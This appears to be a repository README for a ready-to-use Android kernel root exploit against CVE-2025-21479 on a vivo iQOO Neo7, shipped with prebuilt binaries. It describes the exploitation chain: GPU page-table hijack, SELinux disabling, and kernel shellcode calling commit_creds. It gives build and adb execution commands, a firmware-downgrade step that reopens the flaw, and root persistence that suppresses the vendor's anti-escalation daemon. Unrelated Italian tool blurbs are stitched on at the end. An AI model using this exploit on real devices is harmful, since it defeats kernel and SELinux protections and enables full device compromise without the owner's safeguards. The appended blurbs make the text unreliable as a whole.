
Android kernel LPE exploit for CVE-2025-21479 (Qualcomm Adreno GPU) on vivo iQOO Neo7 PD2232, with prebuilt binaries, precheck, and KernelSU late-load root persistence.
A complete privilege escalation and persistence solution targeting CVE-2025-21479 (a Qualcomm Adreno GPU access check flaw), with the target device being the vivo iQOO Neo7 Racing Edition / PD2232 (SM8475, Adreno 730, GKI 5.10).
No Bootloader unlocking, no flashing, no boot partition modification throughout.
For security research only on devices you own or are authorized to test.
GPU arbitrary physical memory read/write. The access check (and $12, 0x3) of the Adreno A730 microcode is flawed,
misclassifying Self-Draw-State (SDS) packets as RingBuffer. By stuffing a forged
CP_SMMU_TABLE_UPDATE into an SDS block and submitting it from user space, you can overwrite the GPU's TTBR0, making the GPU page tables
point to arbitrary physical pages — thereby gaining arbitrary physical memory read/write.
Fixed by Qualcomm in 2025-06 (
and $12, 0x3→and $12, 0x7).
Stabilized read/write. stabilize_rw hardens the mapping into a 2 MB self-mapping region, supporting fast bulk reads.
Disable SELinux. Zero out selinux_state.enforcing in physical memory.
Locate kernel symbols. Dump the kernel image from the fixed physical base address 0xA8000000 (SM8475 has no physical
KASLR), and parse the kallsyms structures directly from the dump (automatic endianness detection) — so virtual
KASLR does not matter either.
root payload. Use AArch64 shellcode (prepare_kernel_cred(0) → commit_creds(),
and disable seccomp) to patch __do_sys_capset. The forked child process capset() → uid 0 →
restores the overwritten kernel code → re-executes the specified command in the u:r:shell:s0 domain.
The kernel code ends up byte-for-byte identical to before execution.
Persistence (optional). Use the KernelSU / ReSukiSU LKM late-load to turn temporary root
into persistent root recoverable on boot, and suppress vivo's anti-escalation daemon.
| Model | vivo V2232A (iQOO Neo7 Racing Edition, codename PD2232, board taro) |
| SoC | SM8475 (Snapdragon 8+ Gen 1) + Adreno 730 |
| Android | 15 (SDK 35, AP3A.240905.015.A2) |
| Firmware | PD2232B_A_15.2.15.0.W10 |
| Kernel | 5.10.233-gki-g993dcbf84b89 |
| SELinux | Enforcing (temporarily disabled during escalation, automatically restored after KSU loads) |
| Security patch | System level 2025-12-01 / vendor level 2025-03-05 |
For full details, see docs/device_info.txt.
vivo exposes two patch dates, and CVE-2025-21479 is a GPU driver flaw:
getprop ro.build.version.security_patch # 2025-12-01 ← 系统层,与 GPU 无关
getprop ro.vendor.build.security_patch # 2025-03-05 ← ★ 看这个
Looking only at ro.build.* leads to the wrong conclusion that it has already been fixed. Qualcomm publicly fixed it in 2025-06, and the local vendor layer 2025-03-05 predates that date ⇒ unpatched.
├── source/
│ ├── cheese.c # 漏洞利用主程序(PD2232 适配版)
│ ├── kallsyms_lookup.c # 从原始内核映像解析 kallsyms
│ └── adrenaline.h # KGSL ioctl / 命令定义(原作者 hawkes)
├── scripts/
│ ├── precheck.sh # ★ 兼容性预检(纯只读,先跑这个)
│ ├── boot2.sh # 一次性引导:setcon → late-load → 装通道
│ ├── rootnow.sh # 手机端一键引导(Termux)
│ ├── verify_all.sh # 全面功能自检
│ └── kroot.py # 主机侧客户端(ping / 执行 / --boot 自动恢复)
├── exploit_dyn # 预编译 arm64 动态链接版(42 KB)
├── cheese_pd2232 # 预编译 arm64 静态链接版(2.1 MB,自包含)
├── tools/ 固件降级工具(第三方闭源,分片收录)
│ ├── README.md 来源、用法、校验值、版权说明
│ ├── join_parts.sh 合并脚本(Linux/macOS/Git Bash)
│ ├── join_parts.ps1 合并脚本(Windows PowerShell)
│ ├── SHA256SUMS.txt 校验值
│ └── downgrader_tool_1.1.1.exe.part01..04
├── docs/
│ ├── device_info.txt # 目标设备信息 + 偏移换算过程
│ └── EXPERIENCE_SUMMARY.md # 完整实战经验总结(10 章)
└── README.md
cheese.c will #include kallsyms_lookup.c and adrenaline.h; at compile time, the three files
must be in the same directory.
Any relatively recent Android NDK (r25+):
# 静态链接(自包含、任意 API 等级可运行;体积较大)
aarch64-linux-android34-clang -o cheese_pd2232 source/cheese.c -static
# 动态链接(体积小,依赖设备自带 libc;API 等级需匹配设备)
aarch64-linux-android34-clang -o exploit_dyn source/cheese.c
Windows + NDK users note: Git Bash / MSYS will rewrite the -Wl,-dynamic-linker argument,
so you need to add MSYS_NO_PATHCONV=1 MSYS2_ARG_CONV_EXCL='*' and use a Windows-style sysroot path.
CVE-2025-21479 was patched by Qualcomm in 2025-06. A16 firmware is already patched ⇒ the exploit is unavailable, so you must first downgrade to A15:
| Firmware | vendor layer patch | Status |
|---|---|---|
| A16 (factory) | later than 2025-06 | ❌ Patched |
| A15 (baseline of this repository) | 2025-03-05 | ✅ Unpatched |
The downgrade tool is in tools/ (a third-party closed-source program, included in split parts because it exceeds GitHub's single-file limit):
# 1) 合并分片(会做 SHA256 校验并自动清理分片)
sh tools/join_parts.sh # Linux/macOS/Git Bash
# Windows PowerShell:
# .\tools\join_parts.ps1
# 2) 运行(需已装 adb、已开 USB 调试、手机已授权)
./tools/downgrader_tool_1.1.1.exe
⚠️ Downgrading will erase phone data, so be sure to make a complete backup first; you also need to prepare an official firmware package matching your device model yourself
(the tool does not include firmware). See tools/README.md for details.
adb push scripts/precheck.sh /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/precheck.sh"
adb shell "sh /data/local/tmp/precheck.sh"
Pure read-only, does not change any device state. Outputs 6 sections: hardware platform / kernel version / patch status / kallsyms readability / existing root / protections and environment, with a "quick conclusion reference" at the end.
adb push exploit_dyn /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_dyn"
adb shell "/data/local/tmp/exploit_dyn /system/bin/id"
Successful output:
child 15395 capset=0 errno=0 uid=0 euid=0
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
A single run completes setcon + late-load + channel installation:
adb push scripts/boot2.sh /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/boot2.sh"
adb shell "/data/local/tmp/exploit_dyn sh /data/local/tmp/boot2.sh"
After that, adb shell "su -c id" is directly available. On the host side, you can also use scripts/kroot.py:
python scripts/kroot.py ping # 探活
python scripts/kroot.py "id" # 执行 root 命令
python scripts/kroot.py --boot # 通道掉了自动重跑 exploit 拉回来

Framework automatizzato per test di sicurezza delle applicazioni mobili per Android, iOS e Windows. Esegue analisi statiche e dinamiche, rilevamento malware e test di sicurezza delle API con integrazione CI/CD.

Strumento da riga di comando e GUI per decompilare file Android Dex e APK in codice sorgente Java leggibile, con decodifica delle risorse, deoffuscamento e capacità di debug Smali.

Uno strumento per il reverse engineering di file APK Android